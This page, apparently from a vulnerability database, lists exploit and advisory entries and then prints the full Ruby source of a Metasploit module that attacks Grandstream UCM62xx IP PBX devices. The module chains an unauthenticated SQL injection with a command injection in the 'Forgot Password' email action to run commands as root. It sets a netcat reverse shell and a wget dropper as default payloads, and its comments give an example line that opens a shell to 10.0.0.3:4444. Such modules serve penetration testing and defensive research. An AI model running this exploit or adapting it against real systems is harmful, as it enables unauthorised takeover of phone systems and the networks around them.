| Reporter | Title | Published | Views | Family All 38 |
|---|---|---|---|---|
| UCM6202 1.0.18.13 - Remote Command Injection Exploit | 24 Mar 202000:00 | – | zdt | |
| Grandstream UCM62xx IP PBX sendPasswordEmail Remote Code Execution Exploit | 25 Jan 202200:00 | – | zdt | |
| Grandstream IP PBX Appliance UCM6204 < 1.0.19.20 RCE | 5 Apr 201900:00 | – | nessus | |
| Multiple Command Injection Vulnerabilities in Grandstream Products | 1 Apr 201900:00 | – | nessus | |
| Grandstream Networks UCM6200 Series SQLi (Phone Web UI) | 5 May 202200:00 | – | nessus | |
| Grandstream Networks UCM6200 Series SQLi (Web UI) | 5 May 202200:00 | – | nessus | |
| Multiple Command Injection Vulnerabilities in Grandstream Products | 19 Apr 201900:00 | – | nessus | |
| Grandstream Networks UCM6200 Series SQLi (SIP) | 5 May 202200:00 | – | nessus | |
| CVE-2020-5722 | 23 Mar 202000:00 | – | attackerkb | |
| CVE-2019-10662 | 6 Feb 202503:13 | – | circl |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
a command injection vulnerability (technically, no assigned CVE but was inadvertently
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
series of devices. The vulnerabilities allow an unauthenticated remote attacker to
execute commands as root.
Exploitation happens in two stages:
1. An SQL injection during username lookup while executing the "Forgot Password" function.
2. A command injection that occurs after the user provided username is passed to a Python script
via the shell. Like so:
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
This module affect UCM62xx versions before firmware version 1.0.19.20.
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module
],
'References' => [
[ 'CVE', '2020-5722' ],
[ 'EDB', '48247']
],
'DisclosureDate' => '2020-03-23',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'DisableNops' => true,
'BadChars' => '\'&|'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget' ]
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 8089,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
##
# Sends a POST /cgi request with a payload of action=getInfo. The
# server should respond with a large json blob like the following,
# where "prog_version" is he firmware version:
#
# {"response"=>{
# "model_name"=>"UCM6202", "description"=>"IPPBX Appliance",
# "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/",
# "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.",
# "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1",
# "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US",
# "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0",
# "support_webrtc_cloud"=>"0"}, "status"=>0}
###
def check
normalized_uri = normalize_uri(target_uri.path, '/cgi')
vprint_status("Requesting version information from #{normalized_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalized_uri,
'vars_post' => { 'action' => 'getInfo' }
})
return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200
body_json = res.get_json_document
return CheckCode::Unknown('No JSON in response') unless body_json
prog_version = body_json.dig('response', 'prog_version')
return false if prog_version.nil?
vprint_status("The reported version is: #{prog_version}")
version = Rex::Version.new(prog_version)
if version < Rex::Version.new('1.0.19.20')
return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
end
return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
end
##
# Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
# and then it will get passed to a python script via sh which allows us to execute a command injection.
# It will look something like this:
#
# /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
# password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
#
# This functionality is related to the"Forgot Password" feature. This function is rate limited by
# the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few
# payloads are appropriate.
###
def execute_command(cmd, _opts = {})
rand_num = Rex::Text.rand_text_numeric(1..5)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi'),
'vars_post' =>
{
'action' => 'sendPasswordEmail',
'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`"
}
}, 5)
# the netcat reverse shell payload holds the connection open. So we'll treat no response
# as a success. The meterpreter payload does not hold the connection open so this clause digs
# deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
# generates an error (e.g. rate limit error)
if res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
status_json = body_json['status']
fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
end
print_good('Exploit successfully executed.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation